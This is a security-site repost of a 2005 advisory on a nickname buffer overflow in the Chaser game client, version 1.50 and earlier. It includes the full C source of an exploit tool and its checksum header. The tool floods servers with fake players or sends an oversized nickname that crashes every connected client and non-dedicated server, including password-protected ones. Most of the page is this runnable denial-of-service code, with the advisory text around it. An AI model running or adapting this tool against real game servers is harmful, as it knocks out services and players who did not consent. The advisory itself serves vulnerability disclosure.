首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Chaser Nickname Buffer Overflow
来源:http://aluigi.altervista.org 作者:Luigi 发布时间:2005-03-11  

Chaser Nickname Buffer Overflow

Summary
Chaser is "a first person shooter developed by Cauldron".

A buffer-overflow vulnerability has been found to affect the Chaser clients and happens when the client handles a big nickname of a player that has joined the server.

Credit:
The information has been provided by Luigi Auriemma.
The original article can be found at: http://aluigi.altervista.org/adv/chasercool-adv.txt

Details
Vulnerable Systems:
* Chaser version 1.50 and prior

The problem is fully exploitable if the attacker controls a malicious server but the most cool exploitation happens when an attacker joins the server using a player with a big name.

The interesting thing in this case is that the packet used to join has a sign ("miso") located just (really unlucky) where the return address of the bugged function is overwritten. In short an attacker cannot exploit this bug to execute remote code but he will be able to crash immediately any client attached to the server he joins.

When the server runs in game mode (so not dedicated) it will crash too just because in reality it is server and client at the same time.

Another interesting thing related to the second type of attack is that is possible to exploit the vulnerability also versus servers protected by password without knowing the real keyword, while can be made nothing if the server is full.

Exploit:
/*

by Luigi Auriemma - http://aluigi.altervista.org/fakep/chaserfp.zip

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include "chaser_crc.h"

#ifdef WIN32
#include <winsock.h>
#include "winerr.h"

#define close closesocket
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>

#define ONESEC 1
#endif

#define VER "0.1"
#define PORT 3000
#define BUFFSZ 2048
#define TIMEOUT 3

#define SEND(x) if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr *)&peer, sizeof(peer)) \
< 0) std_err(); \
fputc('.', stdout);
#define RECV if(timeout(sd) < 0) { \
fputs("\nError: socket timeout, no reply received\n\n", stdout); \
exit(1); \
} \
len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \
if(len < 0) std_err(); \
fputc('.', stdout);

void show_info(u_char *data);
int create_rand_string(u_char *data, int len, u_int tmp);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);

int main(int argc, char *argv[]) {
struct sockaddr_in peer,
peerl;
u_int seed;
float gameproto = 1.18;
int sd,
i,
len,
on = 1,
disconnector = 0;
u_short port = PORT;
u_char buff[BUFFSZ + 1],
pck[] =
"\x00"
"\x00\x00" // checksum
"\x00\x00\xFF"
"\x00\x00" // packet size - 14
"\x00\x00\x00\x00\x00\x00"
"\xff\xff\xff\xff" // IP
"\xff" // nickname (oversized!!!)
"012345678901234567890123456789"
"0123456789012345678901234567890123"
"miso\0"
"\xff\xff\xff\xff" // Game protocol version
"\x0D\xF0\xAD\x0B"; // BADF00D

setbuf(stdout, NULL);

fputs("\n"
"Chaser Fake Players DoS and clients disconnector "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);

if(argc < 2) {
printf("\n"
"Usage: %s [options] <host>\n"
"\n"
"Options:\n"
"-p PORT server port, default is %d\n"
"-g VER game protocol version, default is %f. Use 0.995 for the demo\n"
"-d exploits a nickname buffer-overflow in version <= 1.50 that lets an\n"
" attacker to overwrite the return address of any connected client\n"
" with 0x%08lx (or similar)\n"
" The return address is fixed because the game protocol uses fixed sizes\n"
" so code execution is not possible (at least with this method)\n"
"\n"
" Note: works also versus servers protected by password without knowing the\n"
" right keyword!\n"
"\n", argv[0], port, gameproto, *(u_long *)"miso");
exit(1);
}

#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

argc--;
for(i = 1; i < argc; i++) {
switch(argv[i][1]) {
case 'p': port = atoi(argv[++i]); break;
case 'g': gameproto = atof(argv[++i]); break;
case 'd': disconnector = 1; break;
default: {
printf("\nError: wrong command-line argument (%s)\n\n", argv[i]);
} break;
}
}

peer.sin_addr.s_addr = resolv(argv[argc]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;

peerl.sin_addr.s_addr = INADDR_ANY;
peerl.sin_port = htons(time(NULL));
peerl.sin_family = AF_INET;

printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);

fputs("- informations:\n", stdout);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
SEND("\\status\\");
RECV;
close(sd);
buff[len] = 0x00;
show_info(buff);

seed = ~time(NULL);

printf("- use game protocol %f\n", gameproto);
*(float *)(pck + sizeof(pck) - 9) = gameproto;

for(;;) {
for(;;) {
fputs("\n Player: ", stdout);

sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
< 0) std_err();
peerl.sin_port++;
if(bind(sd, (struct sockaddr *)&peerl, sizeof(peerl))
< 0) std_err();

if(!disconnector) {
seed = create_rand_string(pck + 19, 63, seed);
pck[18] = strlen(pck + 19);
} else {
memset(pck + 19, 'a', 64);
pck[18] = 0xff;
}

*(u_short *)(pck + 6) = sizeof(pck) - 15;
*(u_short *)(pck + 1) = chaser_crc(pck + 3, sizeof(pck) - 4);

SEND(pck);
if(timeout(sd) < 0) {
SEND(pck); // resend
}
RECV;

close(sd);

if(buff[4] == 0xff) {
if(buff[18] == 1) break;
if(buff[18] == 3) {
fputs("\nError: the server uses a version not supported by this tool\n\n", stdout);
} else {
fputs("\nError: bad reply from server, unknown error\n\n", stdout);
}
exit(1);
}
}

fputs(" - server full", stdout);
sleep(ONESEC);
}

return(0);
}

void show_info(u_char *data) {
int nt = 1;
u_char *p;

while((p = strchr(data, '\\'))) {
*p = 0x00;

if(!nt) {
printf("%20s: ", data);
nt++;
} else {
printf("%s\n", data);
nt = 0;
}
data = p + 1;
}
printf("%s\n\n", data);
}

int create_rand_string(u_char *data, int len, u_int tmp) {
if(!tmp) tmp++;
len = tmp % len;
if(!len) len++;
while(len--) {
tmp = (*data + tmp) % 62;
if(tmp <= 9) {
*data = tmp + '0';
} else if((tmp >= 10) && (tmp <= 35)) {
*data = (tmp - 10) + 'A';
} else {
*data = (tmp - 36) + 'a';
}
data++;
}
*data = 0x00;
return(tmp << 1);
}

int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;

tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}

u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;

host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)hp->h_addr;
}
return(host_ip);
}

#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif

chaser_crc.h:
/*

Chaser checksum calculator 0.1
by Luigi Auriemma
e-mail: aluigi@autistici.org
web: http://aluigi.altervista.org

This function calculates the 16bit checksum of the packets used
in the game Chaser http://www.chasergame.com/

A Chaser packet is composed as the following:

00 a1 c7 61 61 61 61
| | |
| | data
| 16bit checksum of data (little endian)
first byte (NULL)


LICENSE
-======
Copyright 2004 Luigi Auriemma

This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA

http://www.gnu.org/licenses/gpl.txt
*/

unsigned short chaser_crc(unsigned char *data, int len) {
unsigned short ax = 0;

for(; len; len--, data++) {
ax = *data ^ ((ax<<8)|(ax>>8));
ax ^= (ax & 0xff) >> 4;
ax ^= ax << 0xc;
ax ^= (ax & 0xff) << 5;
}

return(ax);
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Xpand Rally Format String Vuln
·Carsten's 3D Engine Format Str
·SocialMPN Arbitrary File Injec
·Codename Eagle <= 1.42 sock
·Ethereal 3G Remote Buffer Over
·RICOH Aficio 450/455 PCL 5e Pr
·Internet Explorer CSS File Rem
·Linux kernel 2.4 and 2.6 Multi
·Ethereal v0.10.9 RADIUS Auth.
·Ability FTPd v2.34 Remote Comm
·paNews v2.0b4 Remote SQL Injec
·WinRAR <= 3.41 Compressed F
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved